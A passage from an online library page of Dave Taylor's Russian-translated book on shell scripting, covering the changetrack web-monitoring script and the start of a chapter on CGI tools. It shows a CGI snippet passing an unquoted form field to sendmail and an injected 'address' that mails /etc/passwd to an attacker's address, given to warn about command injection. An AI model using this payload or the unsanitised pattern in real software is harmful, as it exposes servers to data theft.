Дейв Тейлор - Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание

Здесь есть возможность читать онлайн «Дейв Тейлор - Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание» весь текст электронной книги совершенно бесплатно (целиком полную версию без сокращений). В некоторых случаях можно слушать аудио, скачать через торрент в формате fb2 и присутствует краткое содержание. Город: СПб., Год выпуска: 2017, ISBN: 2017, Издательство: Питер, Жанр: Программирование, ОС и Сети, на русском языке. Описание произведения, (предисловие) а так же отзывы посетителей доступны на портале библиотеки ЛибКат.

Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание: краткое содержание, описание и аннотация

Предлагаем к чтению аннотацию, описание, краткое содержание или предисловие (зависит от того, что написал сам автор книги «Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание»). Если вы не нашли необходимую информацию о книге — напишите в комментариях, мы постараемся отыскать её.

Сценарии командной оболочки помогают системным администраторам и программистам автоматизировать рутинные задачи с тех самых пор, как появились первые компьютеры. С момента выхода первого издания этой книги в 2004 году многое изменилось, однако командная оболочка bash только упрочила свои лидирующие позиции. Поэтому умение использовать все ее возможности становится насущной необходимостью для системных администраторов, инженеров и энтузиастов. В этой книге описываются типичные проблемы, с которыми можно столкнуться, например, при сборке программного обеспечения или координации действий других программ. А решения даются так, что их легко можно взять за основу и экстраполировать на другие схожие задачи.
Цель этой книги — продемонстрировать практические приемы программирования сценариев на bash и познакомить с самыми распространенными утилитами на коротких и компактных примерах, не вдаваясь в излишние подробности. Экспериментируйте с этими сценариями — ломайте, исправляйте и приспосабливайте их под свои нужды, чтобы понять, как они работают. Только так вы сможете решать самые сложные задачи.

Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание — читать онлайн бесплатно полную книгу (весь текст) целиком

Ниже представлен текст книги, разбитый по страницам. Система сохранения места последней прочитанной страницы, позволяет с удобством читать онлайн бесплатно книгу «Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание», без необходимости каждый раз заново искать на чём Вы остановились. Поставьте закладку, и сможете в любой момент перейти на страницу, на которой закончили чтение.

Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

Результаты

Когда сценарий загружает веб-страницу в первый раз, он автоматически посылает ее по указанному адресу, как показано в листинге 7.21.

Листинг 7.21.Первый запуск сценария changetrack

$ changetrack http://www.intuitive.com/ taylor@intuitive.com

Status: first visit to http://www.intuitive.com/. Copy archived for future

analysis.

Все последующие проверки сайта http://www.intuitive.com/будут заканчиваться отправкой копии по электронной почте, только если страница изменится после предыдущего вызова сценария. Это может быть результатом простого исправления единственной опечатки или сложного переоформления всей страницы. С помощью сценария можно следить за изменениями на любых веб-сайтах, но лучше всего, пожалуй, он будет работать с теми, которые обновляются нечасто: если выбрать целью главную страницу BBC News, проверка потребует значительного объема процессорного времени, потому что этот сайт постоянно обновляется.

Если после предыдущего вызова сценария сайт не изменился, при повторном запуске сценарий ничего не выведет и ничего не пошлет указанному адресату:

$ changetrack http://www.intuitive.com/ taylor@intuitive.com

$

Усовершенствование сценария

Очевидный недостаток текущей версии сценария — он поддерживает только ссылки с префиксом http://. То есть он будет отвергать любые веб-страницы, обслуживаемые по протоколу HTTPS. Чтобы добавить поддержку обоих протоколов, необходимо применить несколько не самых простых регулярных выражений, но в целом это возможно!

Другое усовершенствование, которое сделает сценарий более полезным: добавить аргумент, определяющий степень изменений, чтобы пользователи могли указать, что, если изменилась только одна строка, сценарий не должен считать сайт обновившимся. Подсчет изменившихся строк реализуется передачей вывода diff команде wc −l. (Имейте в виду, что для каждой измененной строки diff обычно выводит три строки.)

Этот сценарий можно сделать еще более практичным, если запускать его из ежедневного или еженедельного задания cron. У нас есть подобные сценарии, они запускаются каждую ночь и посылают нам обновившиеся веб-страницы с разных сайтов, за которыми мы установили наблюдение.

Особенно интересно было бы приспособить этот сценарий для работы с файлом данных, содержащим адреса URL и электронной почты, и избавиться от необходимости постоянно вводить входные параметры. Добавьте такую модифицированную версию сценария в задание cron, напишите веб-интерфейс к утилите (подобной сценариям в главе 8) и вы создадите функцию, за использование которой компании берут с пользователей плату. Серьезно.

Глава 8. Инструменты веб-мастера

Помимо великолепной среды для создания изящных инструментов командной строки, работающих с разными веб-сайтами, сценарии командной оболочки предоставляют дополнительные возможности по управлению работой вашего собственного сайта. Сценарии командной оболочки позволяют реализовать простые инструменты отладки, создавать динамические веб-страницы и даже сконструировать браузер для просмотра фотоальбома, автоматически добавляющий новые изображения, выгруженные на сервер.

Все сценарии, представленные в этой главе, являются сценариями общего шлюзового интерфейса (Common Gateway Interface, CGI), генерирующими динамические веб-страницы. Разрабатывая сценарии CGI, всегда следует осознавать риски, связанные с безопасностью. Одна из распространенных угроз, подстерегающих ничего не подозревающего веб-разработчика, — это атаки, направленные на получение доступа к командной строке через уязвимые сценарии CGI или веб-сценарии, написанные на других языках.

Рассмотрим пример реализации простой веб-формы, которая предлагает пользователю ввести адрес электронной почты. Сценарий, представленный в листинге 8.1 и обрабатывающий форму, сохраняет информацию о пользователе в локальной базе данных и посылает электронное письмо с подтверждением.

Листинг 8.1.Отправка электронного письма по адресу из веб-формы

(echo "Subject: Thanks for your signup"

··echo "To: $email ($name)"

··echo ""

··echo "Thanks for signing up. You'll hear from us shortly."

··echo "- Dave and Brandon"

) | sendmail $email

Выглядит вполне безобидно, правда? А теперь представьте, что случится, если вместо нормального адреса электронной почты, такого как taylor@intuitive.com , пользователь введет что-нибудь этакое:

`sendmail d00d37@das-hak.de < /etc/passwd; echo taylor@intuitive.com`

Видите ли вы, какая опасность кроется здесь? Вместо того чтобы послать короткое уведомление, получив такой «адрес», сценарий отправит копию вашего файла /etc/passwd по адресу d00d37@das-hak.de злоумышленнику, который может воспользоваться им для подготовки нападения на вашу систему.

Читать дальше
Тёмная тема
Сбросить

Интервал:

Закладка:

Сделать

Похожие книги на «Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание»

Представляем Вашему вниманию похожие книги на «Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание» списком для выбора. Мы отобрали схожую по названию и смыслу литературу в надежде предоставить читателям больше вариантов отыскать новые, интересные, ещё непрочитанные произведения.


Отзывы о книге «Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание»

Обсуждение, отзывы о книге «Сценарии командной оболочки. Linux, OS X и Unix. 2-е издание» и просто собственные мнения читателей. Оставьте ваши комментарии, напишите, что Вы думаете о произведении, его смысле или главных героях. Укажите что конкретно понравилось, а что нет, и почему Вы так считаете.

x